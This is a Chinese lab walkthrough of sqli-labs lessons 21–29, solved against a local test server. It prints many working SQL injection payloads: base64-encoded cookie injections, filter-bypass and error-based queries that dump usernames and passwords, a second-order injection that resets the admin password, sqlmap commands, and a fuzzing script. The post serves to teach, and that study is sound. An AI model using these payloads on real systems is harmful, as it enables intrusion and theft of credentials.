分享

WEB常见漏洞之SQL注入(靶场篇—2)

 zZ华 2022-11-21 发布于广东
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

0x01 高级注入 21-37

Lesson-21

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

图片

目标SQL语句如下:
























if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd'];
$sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', base64_encode($row1['username']), timne()-3600) else: print_r(mysql_error());else: if POST 数据中没有 $submit: $cookee = base64_decode($cookee); $sql = 'select * from users WHERE usernmae=('$cookee') LIMIT 0,1'; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', base64_encode($row1['username']), timne()-3600);

注意:本题与Lesson20的利用方式相同,只不过它修改拼接方式,由单引号改为单括号单引号同时对cookie进行base64编码

登录成功后界面如下:

使用联合查询判断字段数


Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzIw== //返回正常界面

图片


Cookie: uname=YWRtaW4nKSBvcmRlciBieSA0Iw== //返回错误界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMiwzIw==

图片

查询基础信息





Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix1c2VyKCkjCookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCkjCookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

图片

查询表名


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

查询列名


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnI

图片

查询关键信息


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj

图片

也可以直接说使用 sqlmap 使用 base64 编码进行注入


sqlmap -u 'http://172.16.117.135/sqli/Less-21/' --cookie='uname=*' --tamper='base64encode' --dbms=MySQL --random-agent --flush-session --technique=U -v 3

图片

Lesson-22

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

图片

目标SQL语句如下:

























if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd'];
$sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', base64_encode($row1['username']), timne()-3600) else: print_r(mysql_error());else: if POST 数据中没有 $submit: $cookee = base64_decode($cookee); $cookee = '''.$cookee.''' $sql = 'select * from users WHERE usernmae=$cookee LIMIT 0,1'; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', base64_encode($row1['username']), timne()-3600);

注意:本题与Lesson21的利用方式相同,只不过它修改了拼接方式,由单括号单引号改为双引号

登录成功后界面如下:

图片

使用联合查询判断字段数


Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDQj //返回正常界面

图片


Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDMj //返回错误界面

图片

由此可说明字段数为3,通过 union select 查看回显位置


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLDM

图片

查询基础信息





Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM=Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHZlcnNpb24oKSM=Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

图片

查询表名


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj

图片

查询列名


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2Vycyc

图片

查询关键信息


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM=

图片

也可以直接说使用 sqlmap 使用 base64 编码进行注入


sqlmap -u 'http://172.16.117.135/sqli/Less-22/' --cookie='uname=*' --tamper='base64encode' --dbms=MySQL --random-agent --flush-session --technique=U -v 3

图片

Lesson-23

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

图片


id=1'

目标SQL语句如下:















$id=$_GET['id']
$reg = '/#/';$reg1 = '/--/';$replace = '';$id = preg_replace($reg, $replace, $id);$id = preg_replace($reg1, $replace, $id);
$sql = select * from users where id='$id' limit 0,1# 返回内容if true: 输出查询内容;else: print_r(mysql_error());
注意:该题与Lesson1的利用方式相同,只不过过滤了注释符号,因此我们可利用闭合的方式进行注入

使用联合查询判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面

图片


id=1' AND '1'='2 //返回错误界面
判断字段数

id=1' order by 4 and '1'='1 //返回正常界面

图片

在尝试使用 order by 判断字段数时发现无论字段数取多少目标都会返回正常,在数据库中执行相关语句可帮助我们发现存在的问题



SELECT * FROM users WHERE id='1' and '1'='1' order by 4 LIMIT 0,1;SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,1;

在 MySQL 中order bywhere是子语句,and是连接符。前者将id='1' and '1'='1'作为where的条件被率先执行并得到结果,而后执行order by 4,由于结果中不存在第四个字段报错。后者order bywhere的条件中,执行时order by被忽略,因此得到结果后也不会执行order by

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=-1' union select 1,2,3 and '1'='1

图片


id=-1' union select 1,2,3,4 and '1'='1

图片

查询基础信息




id=-1' union select 1,user(),3 and '1'='1id=-1' union select 1,version(),3 and '1'='1id=-1' union select 1,database(),3 and '1'='1

图片

查询表名


id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' and '1'='1

图片

查询列名


id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and '1'='1

图片

查询关键信息


id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 and '1'='1

图片

Lesson-24

该题为经典的二次注入场景,在登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

图片

使用正确的密码登录成功也没有发现异常信息,利用点可能在新的功能选项上

图片

目标SQL语句如下:
































//login_create.phpusername = mysql_escape_string($_POST['username']);$pass = mysql_escape_string($_POST['password']);$re_pass = mysql_escape_string($_POST['re_password']);
#查询用户是否已经存在$sql = 'select count(*) from users where username = '$username'';
if 两次密码输入一致: $sql = 'insert into users (username,password) values(\'$username\', \'$pass\')';else: 提示密码输入不一致 //login.php$username = mysql_real_escape_string($_POST['login_user']);$password = mysql_real_escape_string($_POST['login_password']);$sql = 'SELECT * FROM users WHERE username='$username' and password='$password'';
//pass_change.phpif 未登录: 重定向至首页if 检测提交表单: $username = $_SESSION['username']; $curr_pass = mysql_real_escape_string($_POST['current_password']); $pass = mysql_real_escape_string($_POST['password']); $re_pass = mysql_real_escape_string($_POST['re_password']); if 两次密码一致: $sql = 'UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass''; else: 提示密码输入不一致并重定向至失败界面

注意:该题与以往的注入都有点不同,它需要采用二次注入的方式来完成利用。那么何谓二次注入呢?简单来说就是黑客首先将没有触发行为的SQL语句插入至数据库当中,再调用插入的SQL语句触发攻击行为。

mysql_escape_string是 PHP 中的一个过滤函数,可在危险字符前自动添加带反斜杠字符。因此无论是在登录时还是注册时都无法进行注入,通过注册特殊的用户名后可在更新密码时完成二次注入,以下则是存在注入的语



UPDATE uers SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
带入特殊的用户名admin'#后语句如下:


UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

首先我们构造一个特殊的用户名进行注册以便于修改 admin 用户的密码


admin'#

图片

通过数据库语句查询用户名,发现注册用户完成后该表中的其他数据并未发生变化


SELECT * FROM users;

图片

登录刚注册的admin'#用户,但我们并没有发现密码修改界面,这是怎么回事呢?这是因为解压将文件logged-in.php损坏了,需要重新解压直至该文件大小为2 KB才正常解析

图片

再次注册并登录admin'#用户

图片

点击reset修改密码完成

图片

通过数据库语句再次查询用户名,发现 admin 用户密码已成功修改为 123


SELECT * FROM users;

图片

使用 admin/123 进行登录,登录成功

图片

Lesson-25

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

图片

目标SQL语句如下:













$id=$_GET['id']
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1';
$id= preg_replace('/or/i','', $id);$id= preg_replace('/AND/i','', $id);
# 返回内容if true: 输出查询内容;else: print_r(mysql_error());

注意:该题与Lesson23的利用方式相同,只不过过滤条件由注释符换成了关键词and和or,因此我们可利用双写或符号替换的方式的方式进行注入

绕过方式如下:







# 关键字双写or => oorrand => anandd# 替换字符or => ||and => &&

使用联合查询判断注入点,尝试验证


id=1' anandd '1'='1 //返回正常界面

图片


id=1' anandd '1'='2 //返回错误界面

图片

判断字段数


id=1' oorrder by 3--+ //返回正常界面

图片


id=1' oorrder by 4--+ //返回错误界面

图片

由此可判断字段数为3,通过 union select 判断回显位置


id=-1' union select 1,2,3--+

图片

查询基础信息



id=-1' union select 1,version(),user()--+id=-1' union select 1,database(),3--+

图片

查询表名


id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables wheretable_schema = 'security'--+
table_schema = 'security'--+wan

图片

查询列名

id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+

图片

查询关键信息




id=-1' union select 1,group_concat(username),group_concat(password) from users--+
id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+

图片

Lesson-25a

该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1'

图片

目标SQL语句如下:













$id=$_GET['id']
$sql='SELECT * FROM users WHERE id=$id LIMIT 0,1';
$id= preg_replace('/or/i','', $id);$id= preg_replace('/AND/i','', $id);
# 返回内容if true: 输出查询内容;else: 输出存在错误;

注意:该题与Lesson25的利用方式相同,只不过拼接方式由单引号变成了纯数字,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击

绕过方式如下:







# 关键字双写or => oorrand => anandd# 替换字符or => ||and => &&

使用联合查询判断注入点,尝试验证


id=1 anandd 1=1 //返回正常界面
图片

id=1 anandd 1=2 //返回错误界面
图片

判断字段数


id=1 oorrder by 3--+ //返回正常界面
图片图片

id=1 oorrder by 4--+ //返回错误界面

图片

由此可判断字段数为3,通过 union select 判断回显位置


id=-1 union select 1,2,3--+

查询基础信息



id=-1 union select 1,version(),user()--+id=-1 union select 1,database(),3--+

查询表名


id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'security'--+

图片查询列名


id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+
图片

查询关键信息




id=-1' union select 1,group_concat(username),group_concat(password) from users--+
id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+
图片

Lesson-26

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'
图片

目标SQL语句如下:


















$id=$_GET['id']
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1';
$id= preg_replace('/or/i','', $id);$id= preg_replace('/and/i','', $id);$id= preg_replace('/[\/\*]/','', $id);$id= preg_replace('/[--]/','', $id);$id= preg_replace('/[#]/','', $id);$id= preg_replace('/[\s]/','', $id);$id= preg_replace('/[\/\\\\]/','', $id);
# 返回内容if true: 输出查询内容;else: print_r(mysql_error());

注意:该题与Lesson25的利用方式相同,只不过过滤条件添加了空格、注释符等,我们需要使用更多手段进行绕过

过滤andor绕过方式如下:







# 关键字双写or => oorrand => anandd# 替换字符or => ||and => &&

过滤注释符可使用闭合绕过:


注释符 => ' and '1'='1

过滤空格可替换特殊符号进行绕过:







%09 #Tab键%0a #新建一行%0c #新的一页%0d #return功能%0b #Tab键%a0 #空格

如果不知道哪些符号可替换可使用如下脚本进行检测:
















import requests
def changeToHex(num): tmp = hex(i).replace('0x', '') if len(tmp)<2: tmp = '0' + tmp return '%' + tmp
req = requests.session()for i in xrange(0,256): i = changeToHex(i) url = 'http://172.16.117.135/sqli/Less-26/?id=1'' + i + '%26%26' + i + ''1'='1' ret = req.get(url) if 'Dumb' in ret.content: print 'good,this can use:' + i
图片

解析问题在判断字段数时我们发现无论怎么更换 payload,目标都会报错。后来发现这并不是我们的 payload 存在问题,而是因为 Windows 环境无法使用一些特殊字符来代替空格,因此存在两种解决方式,一是不使用空格用报错注入进行利用;二是将环境切换至 Linux 当中。


id=1'%0aoorrder%0aby%0a3%0aaandnd%0a'1'='1
图片

使用 Docker 搭建 Linux 环境是一个不错的选择



docker pull acgpiano/sqli-labsdocker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest

图片

搭建完成后访问本地 8888 端口并初始化环境图片

使用报错注入判断注入点,尝试验证


id=1'%0aanandd%0a'1'='1 //返回正常界面


id=1'%0aanandd%0a'1'='2 //返回错误界面

图片

不使用空格可进行报错注入,首先获取基础信息



id=-1'||updatexml(1,concat(0x7e,(database())),0)||'1'='1

查询表名



id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

查询列名


id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))),0)||'1'='1

查询关键信息,寻找 id 为1的用户信息


id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=1)),0)||'1'='1

寻找 id 为2的用户信息


id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=2)),0)||'1'='1

使用联合查询判断字段数,在新环境下再次判断字段数会出现与Lesson23同样的情况


id=1'%a0oorrder%a0by%a04%a0aandnd%a0'1'='1

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=0'%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1


id=0'%a0union%a0select%a01,2,3,4%a0aandnd%a0'1'='1

图片

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息




id=0'%a0union%a0select%a01,user(),3%a0aandnd%a0'1'='1id=0'%a0union%a0select%a01,version(),3%a0aandnd%a0'1'='1id=0'%a0union%a0select%a01,database(),3%a0aandnd%a0'1'='1
图片

查询表名


id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0aandnd%a0'1'='1
图片

查询列名


id=0'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0aandnd%a0'1'='1
图片

查询关键信息


id=0'%a0union%a0select%a01,(select%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0aandnd%a0'1'='1
图片

Lesson-26a

该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1'
图片

目标SQL语句如下:


















$id=$_GET['id']
$sql='SELECT * FROM users WHERE id=('$id') LIMIT 0,1';
$id= preg_replace('/or/i','', $id);$id= preg_replace('/and/i','', $id);$id= preg_replace('/[\/\*]/','', $id);$id= preg_replace('/[--]/','', $id);$id= preg_replace('/[#]/','', $id);$id= preg_replace('/[\s]/','', $id);$id= preg_replace('/[\/\\\\]/','', $id);
# 返回内容if true: 输出查询内容;else: 输出存在错误;

注意:该题与Lesson26的利用方式相同,只不过拼接方式由单引号变成了单括号单引号,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击

过滤andor绕过方式如下:







# 关键字双写or => oorrand => anandd# 替换字符or => ||and => &&

过滤注释符可使用闭合绕过:


注释符 => ' and '1'='1

过滤空格可替换特殊符号进行绕过:







%09 #Tab键%0a #新建一行%0c #新的一页%0d #return功能%0b #Tab键%a0 #空格

判断小括号方法






2'&&'1'='1- 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2。- 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。1')||'1'=('1- 若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

使用联合查询判断注入点,尝试验证


id=1')%0aanandd%0a('1')=('1 //返回正常界面


id=1')%0aanandd%0a('1')=('2 //返回错误界面

在新环境下再次判断字段数会出现与Lesson23同样的情况


id=1')%a0oorrder%a0by%a04%a0aandnd%a0('1')=('1

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=0')%a0union%a0select%a01,2,3%a0aandnd%a0('1')=('1


id=0')%a0union%a0select%a01,2,3,4%a0aandnd%a0('1')=('1

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息




id=0')%a0union%a0select%a01,user(),3%a0aandnd%a0('1')=('1id=0')%a0union%a0select%a01,version(),3%a0aandnd%a0('1')=('1id=0')%a0union%a0select%a01,database(),3%a0aandnd%a0('1')=('1

查询表名


id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0aandnd%a0('1')=('1
[object Object]

查询列名


id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0aandnd%a0('1')=('1

查询关键信息


id=0')%a0union%a0select%a01,(select%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0aandnd%a0('1')=('1

Lesson-27

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:






















$id=$_GET['id']
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1';$id= preg_replace('/[\/\*]/','', $id);$id= preg_replace('/[--]/','', $id);$id= preg_replace('/[#]/','', $id);$id= preg_replace('/[ +]/','', $id); $id= preg_replace('/select/m','', $id); $id= preg_replace('/[ +]/','', $id); $id= preg_replace('/union/s','', $id);$id= preg_replace('/select/s','', $id);$id= preg_replace('/UNION/s','', $id);$id= preg_replace('/SELECT/s','', $id);$id= preg_replace('/Union/s','', $id);$id= preg_replace('/Select/s','', $id);

# 返回内容if true: 输出查询内容;else: print_r(mysql_error());

注意:该题与Lesson26的利用方式相同,只不过过滤条件去除了andor,添加了关键词union以及select,我们需要使用更多手段进行绕过

由于过滤unionselect大小写不完全,因此可进行绕过:







# 关键字大小写转换union => UnIoNselect => SelecT# 关键字双写union => ununionion# 由于select使用/m严格模式,因此不可以使用双写进行绕过

使用联合查询判断注入点,尝试验证


id=1'%0aand%0a'1'='1 //返回正常界面
图片

id=1'%0aand%0a'1'='2 //返回错误界面
图片

在新环境下再次判断字段数会出现与Lesson23同样的情况


id=1'%a0order%a0by%a04%a0and%a0'1'='1
图片

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=0'%a0ununionion%a0SelecT%a01,2,3%a0and%a0'1'='1
图片

id=0'%a0ununionion%a0SelecT%a01,2,3,4%a0and%a0'1'='1

图片

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息




id=0'%a0ununionion%a0SelecT%a01,user(),3%a0and%a0'1'='1id=0'%a0ununionion%a0SelecT%a01,version(),3%a0and%a0'1'='1id=0'%a0ununionion%a0SelecT%a01,database(),3%a0and%a0'1'='1

查询表名


id=0'%a0ununionion%a0SelecT%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0'1'='1

查询列名


id=0'%a0ununionion%a0SelecT%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0'1'='1

查询关键信息


id=0'%a0ununionion%a0SelecT%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0'1'='1

Lesson-27a

该题为双引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:
























$id=$_GET['id']$id = ''' .$id. ''';
$sql='SELECT * FROM users WHERE id=$id LIMIT 0,1';
$id= preg_replace('/[\/\*]/','', $id);$id= preg_replace('/[--]/','', $id);$id= preg_replace('/[#]/','', $id);$id= preg_replace('/[ +]/','', $id); $id= preg_replace('/select/m','', $id); $id= preg_replace('/[ +]/','', $id); $id= preg_replace('/union/s','', $id);$id= preg_replace('/select/s','', $id);$id= preg_replace('/UNION/s','', $id);$id= preg_replace('/SELECT/s','', $id);$id= preg_replace('/Union/s','', $id);$id= preg_replace('/Select/s','', $id);
# 返回内容if true: 输出查询内容;else: 输出存在错误;

注意:该题与Lesson27的利用方式相同,只不过拼接方式由单引号变成了双引号,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击

由于过滤unionselect大小写不完全,因此可进行绕过:

# 关键字大小写转换
union => UnIoN
select => SelecT
# 关键字双写
union => ununionion
# 由于select使用/m严格模式,因此不可以使用双写进行绕过

使用联合查询判断注入点,尝试验证


id=1'%0aand%0a'1'='1 //返回正常界面

图片


id=1'%0aand%0a'1'='2 //返回错误界面

图片

在新环境下再次判断字段数会出现与 Lesson23 同样的情况

id=1'%a0order%a0by%a04%a0and%a0'1'='1

图片

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断



id=0'%a0ununionion%a0SelecT%a01,2,3%a0and%a0'1'='1

图片


id=0'%a0ununionion%a0SelecT%a01,2,3,4%a0and%a0'1'='1

图片

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息




id=0'%a0ununionion%a0SelecT%a01,user(),3%a0and%a0'1'='1id=0'%a0ununionion%a0SelecT%a01,version(),3%a0and%a0'1'='1id=0'%a0ununionion%a0SelecT%a01,database(),3%a0and%a0'1'='1

图片

查询表名


id=0'%a0ununionion%a0SelecT%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0'1'='1

图片

查询列名


id=0'%a0ununionion%a0SelecT%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0'1'='1

图片

查询关键信息



id=0'%a0ununionion%a0SelecT%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0'1'='1

图片

Lesson-28

该题为单括号单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注



id=1'

图片目标SQL语句如下:
















$id=$_GET['id']
$sql='SELECT * FROM users WHERE id=('$id') LIMIT 0,1';
$id= preg_replace('/[\/\*]/','', $id);$id= preg_replace('/[--]/','', $id); $id= preg_replace('/[#]/','', $id);$id= preg_replace('/[ +]/','', $id); $id= preg_replace('/union\s+select/i','', $id);
# 返回内容if true: 输出查询内容;else: print_r(mysql_error());

注意:该题与Lesson27的利用方式相同,只不过拼接方式由单引号变成了单括号单引号,过滤条件减少了单个关键字unionselect的限制,添加了union select

过滤union select可使用%0a代替空格进行绕过

使用联合查询判断注入点,尝试验证


id=1')%0aand%0a('1')=('1 //返回正常界面

图片


id=1')%0aand%0a('1')=('2 //返回错误界面

图片

在新环境下再次判断字段数会出现与 Lesson23 同样的情况


id=1')%a0order%a0by%a04%a0and%a0('1')=('1

图片

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=0')%a0union%a0select%a01,2,3%a0and%a0('1')=('1

图片


id=0')%a0union%a0select%a01,2,3,4%a0and%a0('1')=('1

图片

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息




id=0')%a0union%a0select%a01,user(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,version(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,database(),3%a0and%a0('1')=('1

图片

查询表名


id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0('1')=('1

图片查询列名


id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0('1')=('1

图片查询关键信息


id=0')%a0union%a0select%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0('1')=('1

图片

Lesson-28a

该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1'

图片

目标SQL语句如下:











$id=$_GET['id']
$sql='SELECT * FROM users WHERE id=('$id') LIMIT 0,1';
$id= preg_replace('/union\s+select/i','', $id); # 返回内容if true: 输出查询内容;else: 输出存在错误;

注意:该题与Lesson28的利用方式相同,但过滤条件减少了许多关键字的限制,只保留了union select的限制,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击

过滤union select可使用%0a代替空格进行绕过

使用联合查询判断注入点,尝试验证


id=1')%0aand%0a('1')=('1 //返回正常界面

图片


id=1')%0aand%0a('1')=('2 //返回错误界面

图片

在新环境下再次判断字段数会出现与 Lesson23 同样的情况


id=1')%a0order%a0by%a04%a0and%a0('1')=('1

图片

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=0')%a0union%a0select%a01,2,3%a0and%a0('1')=('1

图片


id=0')%a0union%a0select%a01,2,3,4%a0and%a0('1')=('1

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息




id=0')%a0union%a0select%a01,user(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,version(),3%a0and%a0('1')=('1id=0')%a0union%a0select%a01,database(),3%a0and%a0('1')=('1

图片

查询表名


id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0('1')=('1

图片

查询列名


id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0('1')=('1

图片

查询关键信息


id=0')%a0union%a0select%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0('1')=('1

图片

Lesson-29

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

图片

除了默认的index.php以外还存在login.php文件


id=1

图片

但一旦输入错误会重定向hacked.php

图片

目标SQL语句如下:































































//index.php$id=$_GET['id']
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1'; # 返回内容if true: 输出查询内容;else: print_r(mysql_error());
//login.php$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);$id=$_GET['id'];
whitelist($id1);
$sql='SELECT * FROM users WHERE id='$id' LIMIT 0,1';
# 返回内容if true: 输出查询内容;else: print_r(mysql_error());
function whitelist($input){ $match = preg_match('/^\d+$/', $input); if($match) { //echo 'you are good'; //return $match; } else { header('Location: hacked.php'); //echo 'you are bad'; }}
function java_implimentation($query_string){ $q_s = $query_string; $qs_array= explode('&',$q_s);

foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=='id') { $id_value=substr($value,3,30); return $id_value; echo '<br>'; break; }
}
}

注意:该题存在两个存在注入的文件index.phplogin.phpindex.php的注入异常简单,我们需要尝试注入更有难度的login.php,它使用java_implimentation()以及whitelist()函数进行过滤,whitelist()的过滤规则比较严格,如果$id不为数字会自动跳转至hacked.phpjava_implimentation()中会自动检测$id值并使用return返回结果,而return则代表函数运行结束,攻击者只需要构造两组$id值即可绕过函数检测,其实这就是HPP(参数污染)攻击,对服务器和客户端都会造成一定威胁

与此同时我们还需要注意不同服务器搭配脚本语言对参数解析位置是不同的,比如 Apache 会解析最后一个参数,Tomcat 则会解析第一个参数。

图片

而本题实际上需要使用双层服务器架构,即将 Tomcat 作为外层服务器,将 Apache 作为内层服务器。在实际环境中也有这种情况,外层服务器主要过滤数据,作用相当于是一个 WAF,而内层服务器主要负责处理数据并返回结果。那为什么要以双层架构来搭建环境呢?因为 Tomcat 和 Apache 的解析参数不同,在处理id=1&id=1' and '1'='1时 Tomcat 只检查第一个参数id=1而不检查第二个参数id=1' and '1'='1;而 Apache 不解析第一个参数id=1,只解析第二个参数id=1' and '1'='1。从而达到SQL注入攻击的目的。

注意:该部署环境适用于Lesson29-Lesson32

我们需要搭建Tomcat,解压 sqli-labs 中的tomcat-files.zip如下:

图片

将解压后的文件放入 Tomcat 的webapps/ROOT目录当中

图片

